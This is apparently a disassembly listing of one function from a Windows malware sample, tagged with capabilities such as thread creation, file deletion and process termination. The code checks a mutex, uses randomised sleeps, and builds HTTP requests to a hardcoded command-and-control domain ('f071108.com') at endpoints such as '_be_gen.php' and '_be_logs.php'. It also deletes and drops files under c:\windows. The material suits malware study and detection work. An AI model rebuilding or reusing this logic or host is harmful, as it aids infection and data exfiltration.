Function at 0x408a41
Capabilities:
Create thread
Delete file
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3ce4
call fcn.00409a50
push ebx
push esi
push edi
call fcn.004013a9
xor ebx, ebx
push ebx
push ebx
push 0x4047ed
call dword [sym.imp.MSVCRT.dll__beginthread]
push 0x40d020
push str.c:2134534233dd.bat
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x14
test eax, eax
jne 0x40947d
push 0x3e7
lea eax, [ebp - 0x604]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x604]
push eax
call fcn.0040462d
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
call edi
push 0xa
xor edx, edx
pop ecx
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
div ecx
push edx
call esi
push 0x40d020
push str.c:12234.dat
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 0x1c], eax
je 0x408b05
push eax
call dword [sym.imp.MSVCRT.dll_fgetc]
pop ecx
mov dword [ebp - 8], ebx
push dword [ebp - 0x1c]
call dword [sym.imp.MSVCRT.dll_fgetc]
test eax, eax
pop ecx
jne 0x408c57
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1f4
jl 0x408add
push dword [ebp - 0x1c]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
lea eax, [ebp - 0x154]
push 0x40ddc4
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0xc
push eax
call esi
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
call fcn.00403759
test al, al
je 0x409486
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [ebp - 0x3ce4]
push str.652122342443
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
call fcn.004036dd
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push str.444534556dgdg43545
push 1
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 0x24], eax
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
cmp dword [ebp - 0x14], ebx
je 0x40947d
cmp dword [ebp - 0x24], 0xb7
je 0x409474
lea ecx, [ebp - 0x1460]
call fcn.00404dca
lea eax, [ebp - 0xc]
lea ecx, [ebp - 0x145c]
push eax
mov dword [ebp - 0xc], ebx
call fcn.0040954a
call fcn.004043bd
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea ecx, [ebp - 0x145c]
call fcn.004011e3
test al, al
je 0x4093e8
push ebx
mov dword [ebp - 8], 0x7530
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
push 0x14
cdq
pop ecx
idiv ecx
push edx
call esi
push ebx
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
push 0x14
cdq
pop ecx
idiv ecx
push edx
call esi
call fcn.0040385f
test al, al
jne 0x408c62
push dword [ebp - 8]
call esi
mov eax, dword [ebp - 8]
add eax, eax
mov dword [ebp - 8], eax
jmp 0x408c2e
push 1
call esi
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
push ebx
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
push 0x14
cdq
pop ecx
idiv ecx
push edx
call esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push 3
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [ebp - 1]
lea ecx, [ebp - 0x3c]
push eax
call fcn.004094be
lea eax, [ebp - 0x3c]
push eax
call fcn.00401d61
mov dword [ebp - 0x28], eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push 3
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0x13e
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x408cc6
mov ecx, eax
call fcn.00403c7a
mov dword [ebp - 8], eax
jmp 0x408cc9
mov dword [ebp - 8], ebx
push str.irst.p
lea eax, [ebp - 0x8c]
push str._be_f_shp
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x10
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push 3
xor edx, edx
pop ecx
div ecx
push edx
call esi
push ebx
push str.f071108.com
push ebx
lea eax, [ebp - 0x604]
push ebx
push eax
lea eax, [ebp - 0x8c]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x28]
push dword [ebp - 8]
push 0x40dd88
call fcn.00402472
lea eax, [ebp - 0x2d14]
push 0x40de18
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x2d14]
pop ecx
push str.sysberay2
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
lea eax, [ebp - 0x2d14]
pop ecx
push eax
call fcn.004046b6
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0x40dd88
call fcn.00403960
test al, al
je 0x408db5
lea eax, [ebp - 0x604]
push eax
push dword [ebp - 0x14]
call fcn.00403bd9
lea ecx, [ebp - 0x3c]
call fcn.004094d6
cmp dword [ebp - 0xc], ebx
je 0x408d9a
push dword [ebp - 0xc]
lea ecx, [ebp - 0x145c]
call fcn.004095d3
push str.c:windows_be49f4d98.dat
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea ecx, [ebp - 0x1460]
call fcn.00404ee8
jmp 0x409474
push dword [ebp - 0xc]
lea ecx, [ebp - 0x1460]
call fcn.0040616a
mov byte [ebp - 1], al
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
cmp byte [ebp - 1], bl
jne 0x408e16
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [ebp - 0xc]
lea ecx, [ebp - 0x1460]
push eax
call fcn.004061f7
test al, al
jne 0x408e09
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0x1388
jmp 0x408de1
mov eax, dword [ebp - 0xc]
push ebx
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa4]
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push dword [ebp - 0xc]
lea ecx, [ebp - 0x1460]
call fcn.0040616a
test al, al
je 0x408d7f
push dword [ebp - 0xc]
lea ecx, [ebp - 0x1460]
call fcn.00404eef
push 0x63
lea eax, [ebp - 0xf0]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x18f
lea eax, [ebp - 0x794]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0xf0]
lea ecx, [ebp - 0x145c]
push eax
lea eax, [ebp - 0x105c]
push eax
call fcn.004099e8
lea eax, [ebp - 0x794]
lea ecx, [ebp - 0x145c]
push eax
lea eax, [ebp - 0xc5c]
push eax
call fcn.004099e8
push 0xc7
lea eax, [ebp - 0x21c]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x31f
lea eax, [ebp - 0x1d5c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x21c]
lea ecx, [ebp - 0x145c]
push eax
lea eax, [ebp - 0xf0]
push eax
call fcn.004098a0
lea eax, [ebp - 0x1d5c]
lea ecx, [ebp - 0x145c]
push eax
lea eax, [ebp - 0x794]
push eax
call fcn.004098a0
cmp dword [ebp - 0x28], 1
jne 0x408f39
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
cmp dword [ebp - 0xc], ebx
je 0x408f26
push dword [ebp - 0xc]
lea ecx, [ebp - 0x145c]
call fcn.004095d3
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x24], ebx
call fcn.00404b1e
test eax, eax
jne 0x408f94
lea eax, [ebp - 1]
lea ecx, [ebp - 0x54]
push eax
call fcn.004094be
lea eax, [ebp - 0x54]
lea ecx, [ebp - 0x1460]
push eax
push dword [ebp - 0xc]
call fcn.0040518a
sub esp, 0x10
lea eax, [ebp - 0x54]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.00409505
lea eax, [ebp - 0x3c]
push eax
call fcn.00401ef6
lea ecx, [ebp - 0x54]
call fcn.004048ed
lea eax, [ebp - 0x3c]
push eax
call fcn.00401e7d
mov edi, dword [ebp - 8]
lea eax, [ebp - 0x21c]
push eax
mov dword [ebp - 0x1c], ebx
lea ecx, [edi + 0x11c]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0x1d5c]
push eax
lea ecx, [edi + 0x10c]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea ecx, [edi + 0x40]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0x292c]
push str.http:___s___s_s_s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
cmp byte [edi + 0xe1], bl
je 0x40906f
push 0x3ff
lea eax, [ebp - 0x215c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x215c]
push eax
lea eax, [ebp - 0x292c]
push eax
call fcn.0040423d
test al, al
je 0x40906f
lea eax, [ebp - 0x292c]
push 0x40de18
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
add edi, 0xe4
pop ecx
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
test eax, eax
jbe 0x40905a
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0x292c]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea eax, [ebp - 0x215c]
push eax
lea eax, [ebp - 0x292c]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea ecx, [ebp - 0x3c]
mov byte [ebp - 1], bl
call fcn.0040491c
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x3c]
call fcn.004048b7
cmp dword [ebp - 8], eax
je 0x40932c
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x44]
mov dword [ebp - 0x44], ebx
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x7c]
test eax, eax
je 0x4090b1
lea eax, [ebp - 0xc]
lea ecx, [ebp - 0x145c]
push eax
call fcn.0040954a
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
cmp dword [eax + 0x10], ebx
jne 0x409313
mov edi, 0x7530
call fcn.0040385f
test al, al
jne 0x4090d7
push edi
call esi
add edi, edi
jmp 0x4090c7
mov edi, 0x40dd88
push edi
call fcn.00403960
test al, al
jne 0x4093d2
push 0x13e
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x409105
mov ecx, eax
call fcn.00403c7a
mov dword [ebp - 0x18], eax
jmp 0x409108
mov dword [ebp - 0x18], ebx
push ebx
lea eax, [ebp - 0x21c]
push str.f071108.com
push eax
lea eax, [ebp - 0x1d5c]
push eax
lea eax, [ebp - 0x604]
push eax
push str._be_gen.php
push dword [ebp - 0x14]
push dword [ebp - 0x28]
push dword [ebp - 0x18]
push edi
call fcn.00402472
mov eax, dword [ebp - 0x18]
lea ecx, [eax + 0x50]
mov dword [ebp - 0x10], ecx
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
test eax, eax
jbe 0x4092ef
mov edi, 0x3e7
lea eax, [ebp - 0x1848]
push edi
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x292c]
push eax
lea eax, [ebp - 0x1848]
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp - 0x18]
add esp, 0x14
lea ecx, [eax + 0xb0]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
test eax, eax
jbe 0x4091b9
push edi
lea eax, [ebp - 0x1848]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0x18]
add esp, 0xc
lea ecx, [eax + 0xb0]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0x1848]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0xe2], 1
jne 0x4091e6
lea ecx, [eax + 0x60]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0x38e4]
push 0x40dd54
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
jmp 0x40920c
lea ecx, [ebp - 0x1848]
push ecx
lea ecx, [eax + 0x60]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0x38e4]
push str._s_n_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push edi
lea eax, [ebp - 0x2144]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x29]
lea ecx, [ebp - 0x54]
push eax
push 0x40de18
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 0x2b]
mov ecx, esp
mov dword [ebp - 0x40], esp
push eax
lea eax, [ebp - 0x38e4]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, dword [ebp - 0x10]
sub esp, 0x10
lea eax, [ebp - 0x2a]
mov edi, esp
mov dword [ebp - 0x40], esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov edi, dword [ebp - 0x20]
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x40], esp
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push dword [ebp - 0xc]
lea ecx, [ebp - 0x1460]
call fcn.00405792
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x10], eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 1
pop eax
cmp dword [ebp - 0x10], eax
jne 0x4092a0
inc dword [ebp - 0x1c]
mov dword [edi + 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4092e9
push 0x3ff
lea eax, [ebp - 0x3114]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x3114]
lea ecx, [ebp - 0x145c]
push eax
lea eax, [ebp - 0x1848]
push eax
call fcn.004099e8
cmp byte [ebp - 1], bl
jne 0x4092ef
lea eax, [ebp - 0x3114]
push eax
call fcn.004023d9
mov byte [ebp - 1], 1
cmp dword [ebp - 0x10], 0xfffffffe
je 0x40931c
mov ecx, dword [ebp - 0x18]
cmp ecx, ebx
je 0x4092fd
push 1
call 0x4094a2
lea eax, [ebp - 0x3c]
push eax
call fcn.00401e7d
lea ecx, [ebp - 0x3c]
call fcn.004048b7
cmp dword [ebp - 8], eax
je 0x40932c
add dword [ebp - 8], 4
jmp 0x40907d
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x24], 1
push eax
call fcn.00401e7d
push str.shlwapi.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, 0x1f3
mov dword [ebp - 0x10], eax
push edi
lea eax, [ebp - 0x1a3c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp - 0x10], ebx
je 0x409390
push str.UrlEscapeA
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
cmp eax, ebx
je 0x409383
lea ecx, [ebp - 0x20]
push 0x2000
push ecx
lea ecx, [ebp - 0x1a3c]
push ecx
lea ecx, [ebp - 0x105c]
push ecx
mov dword [ebp - 0x20], edi
call eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push 1
call esi
push str._be_logs.php
push ebx
push 1
push 0xffffffffffffffff
push dword [ebp - 0x24]
lea ecx, [ebp - 0x3c]
call fcn.00404b1e
push eax
lea eax, [ebp - 0x1a3c]
push dword [ebp - 0x1c]
push ebx
push eax
call fcn.00401fb1
push 0x2710
call esi
push dword [ebp - 0xc]
lea ecx, [ebp - 0x145c]
call fcn.004095d3
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
lea eax, [ebp - 0x604]
push eax
push dword [ebp - 0x14]
call fcn.00403bd9
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
push 0x13e
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x409402
mov ecx, eax
call fcn.00403c7a
mov esi, eax
jmp 0x409404
xor esi, esi
push str.e_first.p
lea eax, [ebp - 0x8c]
push str._b_shp
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x145c]
push eax
call fcn.00401000
lea eax, [ebp - 0x58]
push eax
push str.f071108.com
push ebx
lea eax, [ebp - 0x604]
push ebx
push eax
lea eax, [ebp - 0x8c]
push eax
push dword [ebp - 0x14]
push ebx
push esi
push 0x40dd88
call fcn.00402472
call fcn.00401554
cmp dword [ebp - 0xc], ebx
je 0x40946d
push dword [ebp - 0xc]
lea ecx, [ebp - 0x145c]
call fcn.004095d3
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
call fcn.00403792
push ebx
push str.c:windowsche4.exe
call fcn.004016e6
call fcn.00401554
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
push esi
mov esi, ecx
call fcn.00403e61
test byte [esp + 8], 1
je 0x4094b8
push esi
call fcn.00409a3e
pop ecx
mov eax, esi
pop esi
ret 4